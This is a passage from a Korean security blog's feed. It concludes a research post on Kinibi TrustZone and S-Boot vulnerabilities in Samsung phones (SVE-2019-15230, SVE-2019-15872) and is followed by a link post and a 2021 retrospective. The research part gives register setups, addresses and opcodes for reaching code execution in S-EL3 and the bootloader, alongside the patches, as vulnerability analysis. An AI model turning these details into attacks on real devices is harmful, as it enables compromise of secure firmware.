&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Trusty 애플리케이션을 공격한 방법은 SEM Trustlet에서 Stack Buffer Overflow가 발생하여 memcpy 호출 전 Fig. 5.와 같이 레지스터가 설정됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ㆍR0&amp;nbsp;=&amp;nbsp;SP+0x4F8-0xF0&amp;nbsp;(destination&amp;nbsp;buffer) &lt;br /&gt;ㆍR1&amp;nbsp;=&amp;nbsp;tci_buffer&amp;nbsp;+&amp;nbsp;0x8&amp;nbsp;(source&amp;nbsp;buffer) &lt;br /&gt;ㆍR2&amp;nbsp;=&amp;nbsp;*(tci_buffer&amp;nbsp;+&amp;nbsp;0x16808)&amp;nbsp;(length&amp;nbsp;of&amp;nbsp;the&amp;nbsp;buffer)&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이를 통해서 S-EL0에서 코드 실행이 가능하여 보안 드라이버 통신과 syscalls(print characters, system information 등)을 할 수 있고, 그다음 MMAP의 보안 및 비보안 물리 메모리 매핑하기 위해 syscalls 작업으로 MMAP을 사용하여 Monitor의 0x2022000 주소에 SMC을 수정함으로써 S-EL3에서 임의 코드 실행이 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림8.png&quot; data-origin-width=&quot;4261&quot; data-origin-height=&quot;1014&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuXVCJ/btrrF52Ldrv/4uTS2euiZj43YdiNUumw8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuXVCJ/btrrF52Ldrv/4uTS2euiZj43YdiNUumw8K/img.png&quot; data-alt=&quot;Fig. 5. Register Area&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuXVCJ/btrrF52Ldrv/4uTS2euiZj43YdiNUumw8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuXVCJ%2FbtrrF52Ldrv%2F4uTS2euiZj43YdiNUumw8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;566&quot; height=&quot;135&quot; data-filename=&quot;그림8.png&quot; data-origin-width=&quot;4261&quot; data-origin-height=&quot;1014&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 5. Register Area&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size20&quot;&gt;3.2. SVE-2019-15230&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;해당 취약점은 Normal World인 EL0의 User Mode에서 EL1(Kinibi)의 SVE/Sys/Abort Mode에 접근하는 것으로 먼저, Odin을 통해 Odin Mode initial 및 settings와 Flash PIT, Flag image의 opCode 값을 가져옵니다. 다음 Fig. 6.와 같이 Integer overflow 발생하는 원인으로 0x1e00000 보다 낮으면 0xC0000000을 사용하고 그렇지 않다면, 0xB0000000을 사용합니다. 참고로 Galaxy S8 이전 단말기는 0xC0000000이며, Galaxy S9 이후 단말기는 0x880000000의 버퍼를 복사합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림9.png&quot; data-origin-width=&quot;4261&quot; data-origin-height=&quot;3714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjN3k3/btrrJuABVcp/ohjTg69JQp1dVkKVWhis21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjN3k3/btrrJuABVcp/ohjTg69JQp1dVkKVWhis21/img.png&quot; data-alt=&quot;Fig. 6. Odin Flash Image&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjN3k3/btrrJuABVcp/ohjTg69JQp1dVkKVWhis21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjN3k3%2FbtrrJuABVcp%2FohjTg69JQp1dVkKVWhis21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;468&quot; data-filename=&quot;그림9.png&quot; data-origin-width=&quot;4261&quot; data-origin-height=&quot;3714&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 6. Odin Flash Image&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;따라서 Fig. 7.와 같이 버퍼 뒤에 저장되는 데이터는 Secure Boot의 Code Segment로 크기 검증 코드가 없어 Buffer Overflow 취약점 인한 임의 데이터를 덮어쓸 수 있습니다. 취약점 패치는 Fig. 8.와 같이 데이터 패킷의 크기를 검증하는 코드가 추가되었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림17.png&quot; data-origin-width=&quot;5258&quot; data-origin-height=&quot;3649&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btti1g/btrrIeLQagq/UFvw1nwX0VXMWJVuzAn3hK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btti1g/btrrIeLQagq/UFvw1nwX0VXMWJVuzAn3hK/img.png&quot; data-alt=&quot;Fig. 7. Overflow the physical memory&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btti1g/btrrIeLQagq/UFvw1nwX0VXMWJVuzAn3hK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtti1g%2FbtrrIeLQagq%2FUFvw1nwX0VXMWJVuzAn3hK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;420&quot; data-filename=&quot;그림17.png&quot; data-origin-width=&quot;5258&quot; data-origin-height=&quot;3649&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 7. Overflow the physical memory&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림10.png&quot; data-origin-width=&quot;7322&quot; data-origin-height=&quot;3839&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0nfSl/btrrIgCTuDB/CmlNc5skbth6qcJQ3QXtT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0nfSl/btrrIgCTuDB/CmlNc5skbth6qcJQ3QXtT0/img.png&quot; data-alt=&quot;Fig. 8. SVE-2019-15230 Patch&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0nfSl/btrrIgCTuDB/CmlNc5skbth6qcJQ3QXtT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0nfSl%2FbtrrIgCTuDB%2FCmlNc5skbth6qcJQ3QXtT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;7322&quot; height=&quot;3839&quot; data-filename=&quot;그림10.png&quot; data-origin-width=&quot;7322&quot; data-origin-height=&quot;3839&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 8. SVE-2019-15230 Patch&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;3.3. SVE-2019-15872&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;해당 취약점은 &lt;/span&gt;&lt;span&gt;Fig. 9.&lt;/span&gt;&lt;span&gt;와 같이 &lt;/span&gt;&lt;span&gt;S-Boot&lt;/span&gt;&lt;span&gt;에서 &lt;/span&gt;&lt;span&gt;USB &lt;/span&gt;&lt;span&gt;기능의 일부 코드입니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;이때 &lt;/span&gt;&lt;span&gt;qword_C91494B0&lt;/span&gt;&lt;span&gt;의 값이 반복적으로 사용하고 있음을 알 수 있습니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;이를 통해서 &lt;/span&gt;&lt;span&gt;opCode 0x64&lt;/span&gt;&lt;span&gt;와 &lt;/span&gt;&lt;span&gt;subOp 0x05&lt;/span&gt;&lt;span&gt;로 패킷 데이터 크기를 지정할 수 있어 &lt;/span&gt;&lt;span&gt;USB &lt;/span&gt;&lt;span&gt;수신되는 크기를 &lt;/span&gt;&lt;span&gt;0x1200000&lt;/span&gt;&lt;span&gt;보다 큰 값을 사용 가능하여 &lt;/span&gt;&lt;span&gt;SVE-2019-15230&lt;/span&gt;&lt;span&gt;와 같은 방식으로 임의 코드 실행이 가능합니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;취약점 패치는 &lt;/span&gt;&lt;span&gt;Fig. 10.&lt;/span&gt;&lt;span&gt;와 같이 데이터 패킷의 크기를 검증하는 코드가 추가되었습니다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;6707&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림12.png&quot; data-origin-width=&quot;5409&quot; data-origin-height=&quot;4136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/msJx0/btrrD8yPzLp/rqFzMULG2o4FIFR5aRXpDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/msJx0/btrrD8yPzLp/rqFzMULG2o4FIFR5aRXpDk/img.png&quot; data-alt=&quot;Fig. 9. SVE-2019-15872 Attack Vector&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/msJx0/btrrD8yPzLp/rqFzMULG2o4FIFR5aRXpDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmsJx0%2FbtrrD8yPzLp%2FrqFzMULG2o4FIFR5aRXpDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;637&quot; height=&quot;487&quot; data-filename=&quot;그림12.png&quot; data-origin-width=&quot;5409&quot; data-origin-height=&quot;4136&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 9. SVE-2019-15872 Attack Vector&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림13.png&quot; data-origin-width=&quot;4961&quot; data-origin-height=&quot;3035&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSc7KL/btrrIfquIdb/WENJUQdKJ4NF4pcofmFvmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSc7KL/btrrIfquIdb/WENJUQdKJ4NF4pcofmFvmK/img.png&quot; data-alt=&quot;Fig. 10. SVE-2019-15872 Patch&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSc7KL/btrrIfquIdb/WENJUQdKJ4NF4pcofmFvmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSc7KL%2FbtrrIfquIdb%2FWENJUQdKJ4NF4pcofmFvmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;676&quot; height=&quot;413&quot; data-filename=&quot;그림13.png&quot; data-origin-width=&quot;4961&quot; data-origin-height=&quot;3035&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 10. SVE-2019-15872 Patch&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;4. 결 론&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;본 연구는 최근 발견된 안드로이드 보안 컨테이너인 &lt;/span&gt;&lt;span&gt;Kinibi &lt;/span&gt;&lt;span&gt;기반 &lt;/span&gt;&lt;span&gt;TrustZone &lt;/span&gt;&lt;span&gt;취약점 분석한 연구를 제시해보았습니다&lt;/span&gt;&lt;span&gt;. TEE&lt;/span&gt;&lt;span&gt;는 하드웨어 기반의 가상화된 보안 격리와 &lt;/span&gt;&lt;span&gt;TCB&lt;/span&gt;&lt;span&gt;로 인해 안전하다는 믿음에도 불구하고 취약점이 보고되고 있습니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;특히&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;현재 &lt;/span&gt;&lt;span&gt;TEE &lt;/span&gt;&lt;span&gt;시스템은 구현&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;아키텍처 및 하드웨어 수준에서 심각한 한계를 가지고 있으며 이로 인해 수백 만 개의 단말기에 영향을 미치는 잠재적인 취약점이 발생할 수 있지만&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;분석에 기초하여 오늘날까지 보안 연구진들은 &lt;/span&gt;&lt;span&gt;User Mode(EL0)&lt;/span&gt;&lt;span&gt;에서 &lt;/span&gt;&lt;span&gt;Kernel Mode(EL1)&lt;/span&gt;&lt;span&gt;와 &lt;/span&gt;&lt;span&gt;User Mode(S-EL0), Monitor Mode(S-EL3)&lt;/span&gt;&lt;span&gt;까지 취약점을 도출하고 있고&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;그중 &lt;/span&gt;&lt;span&gt;Monitor Mode(S-EL3) &lt;/span&gt;&lt;span&gt;영역에서 임의 코드를 실행하기 위해 &lt;/span&gt;&lt;span&gt;Fuzzing &lt;/span&gt;&lt;span&gt;연구가 활발히 진행되고 있기에 상업용 &lt;/span&gt;&lt;span&gt;TEE &lt;/span&gt;&lt;span&gt;시스템을 훨씬 더 안전하게 구현될 것이라 전망합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;References&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;[1] Liu, Yue, et al. &amp;ldquo;Deep Learning for Android Malware Defenses: a Systematic Literature Review.&amp;rdquo; arXiv preprint arXiv:2103.05292 (2021).&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;[2] Farhang, Sadegh, et al. &amp;ldquo;An empirical study of Android security bulletins in different vendors.&amp;rdquo; Proceedings of The Web Conference 2020. 2020.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;[3] Tang, Junwei, et al. &amp;ldquo;A novel hybrid method to analyze security vulnerabilities in android applications.&amp;rdquo; Tsinghua Science and Technology 25.5 (2020): 589-603.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;[4] Jones, Kailani R., et al. &amp;ldquo;Deploying Android Security Updates: an Extensive Study Involving Manufacturers, Carriers, and End Users.&amp;rdquo; Proceedings of the 2020 ACM SIGSAC Conference on Computer and Communications Security. 2020.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;[5] Hei, Xinhong, et al. &amp;ldquo;From Hardware to Operating System: A Static Measurement Method of Android System Based on TrustZone.&amp;rdquo; Wireless Communications and Mobile Computing 2020 (2020).&lt;/span&gt;&lt;/p&gt;</description>
      <category>Android</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/280</guid>
      <comments>https://netking.tistory.com/280#entry280comment</comments>
      <pubDate>Wed, 26 Jan 2022 12:18:40 +0900</pubDate>
    </item>
    <item>
      <title>Android Security Awesome</title>
      <link>https://netking.tistory.com/278</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/NetKingJ/android-security-awesome&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/NetKingJ/android-security-awesome&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1641724721061&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - NetKingJ/android-security-awesome&quot; data-og-description=&quot;Contribute to NetKingJ/android-security-awesome development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/NetKingJ/android-security-awesome&quot; data-og-url=&quot;https://github.com/NetKingJ/android-security-awesome&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/buusil/hyM1BeD21N/uAz709yOr9r7jQ4wPP5E51/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/NetKingJ/android-security-awesome&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/NetKingJ/android-security-awesome&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/buusil/hyM1BeD21N/uAz709yOr9r7jQ4wPP5E51/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - NetKingJ/android-security-awesome&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to NetKingJ/android-security-awesome development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Android</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/278</guid>
      <comments>https://netking.tistory.com/278#entry278comment</comments>
      <pubDate>Sat, 8 Jan 2022 02:06:33 +0900</pubDate>
    </item>
    <item>
      <title>2021년 회고록 그리고 2022년</title>
      <link>https://netking.tistory.com/276</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;올해는 졸업과 동시에 취업 준비하며 어느덧 2021년 마지막 날이 되었네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2020년 BoB 수료 이후부터 안드로이드 모바일 단말기를 분석하며 버그바운티, 컨퍼런스, 논문 활동 등을 진행했습니다. 그러나 많은 활동을 했다고 생각했지만, 질적인 영향가가 없어 올해에는 기초부터 부족한 이론을 공부하며 보다 의미 있는 활동이 될 수 있도록 목표를 세웠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;올해를 되돌아보며.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 부경대학교&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2015년 입학하여 6년간 대학 생활을 마무리하는 졸업 프로젝트인 &amp;lsquo;분산 ID 기반 모바일 학생증 구현과 활용&amp;rsquo;이라는 주제로 PM(&lt;s&gt;셰르파&lt;/s&gt;)을 맡아 진행했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 편하게 블록체인 오픈 소스를 이용했으나, 수천 줄 되는 코드를 이해하지 않고 기능에만 의존한다면 블록체인 구현 이해를 했다고 볼 수 없다고 판단하여 밑바닥부터 모바일 학생증을 구현해보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해, 타 플랫폼 대비 가볍고 강력한 블록체인 플랫폼을 개발하기 위해 한국정보보호학회 학술대회에 여러 차례 참가했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 학회에는 모델 검증받고 이후 구현에 성공하고 나서 두 번째 학회에서 높은 평가를 받아 우수 논문이라는 성과를 이뤄냈습니다. 여기서 끝내기엔 욕심이 생겨 내용 보충과 타 플랫폼 비교 분석 등을 추가하여 한국정보보호학회 논문지에 도전으로 KCI 급 논문을 등재할 수 있었습니다. (&lt;s&gt;결과보고서가 무려 291페이지...&lt;/s&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코로나 여파로 팀원들과 자주 모이지 않고도 같이 노력했던 과정들이 앞으로도 소중한 경험이 될 것 같네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# CERT-IS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;졸업 전에 후배들에게 남겨주고 싶은 건 많았지만, 마침 &amp;lsquo;Cyber Security RSS&amp;rsquo;라는 보안 기사 혹은 블로그를 수집하여 보안 기사 사이트에 따로 접속하지 않고도 한눈에 보기 좋게 정렬하는 플랫폼을 동아리원들과 함께 개발을 진행했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로는 필요한 기능이 있다면, 제 손에서 벗어나 조금씩 성장하는 플랫폼이 되었으면 하는 바람입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;2125&quot; data-origin-height=&quot;1728&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPvGTY/btrpxwT46Fp/JuJfaVNCcl4BvGLqKvkzJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPvGTY/btrpxwT46Fp/JuJfaVNCcl4BvGLqKvkzJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPvGTY/btrpxwT46Fp/JuJfaVNCcl4BvGLqKvkzJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPvGTY%2FbtrpxwT46Fp%2FJuJfaVNCcl4BvGLqKvkzJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2125&quot; height=&quot;1728&quot; data-filename=&quot;img.png&quot; data-origin-width=&quot;2125&quot; data-origin-height=&quot;1728&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 시원포럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영남권 정보보안동아리들과 매년 컨퍼런스를 준비하며 인프라 발전에 힘써주기 위해 수많은 분들의 노력이 항상 빠지지 않았기에 보안에 관심 있는 학생들에게 그동안 많은 도움이 될 수 있었던 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;올해가 마지막 임원 활동이 된 부분에 아쉬움을 느끼지만, 기회가 된다면 또 한 번 함께 준비해보고 싶네요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_20210903_223429154.png&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JwCai/btrptAXf3t3/wdE0JREP7tDFIL4CpR39g0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JwCai/btrptAXf3t3/wdE0JREP7tDFIL4CpR39g0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JwCai/btrptAXf3t3/wdE0JREP7tDFIL4CpR39g0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJwCai%2FbtrptAXf3t3%2FwdE0JREP7tDFIL4CpR39g0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-filename=&quot;KakaoTalk_20210903_223429154.png&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 끝으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 좋은 성과도 많았지만, 반면 실패한 경험(&lt;s&gt;다이어트&lt;/s&gt;)도 가장 많은 해가 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부족한 실력에 내밀었던 취업 문턱은 아직 높았고 그만큼 준비할 과정이 많다고 생각했습니다. 그뿐만 아니라 버그바운티 중에 보안 윤리에 어긋난 행동으로 포상금 제외될 뻔했지만, 기업의 선처로 다시금 정보보안의 자세를 생각해보는 시간을 가질 수 있었지요.  &lt;/p&gt;
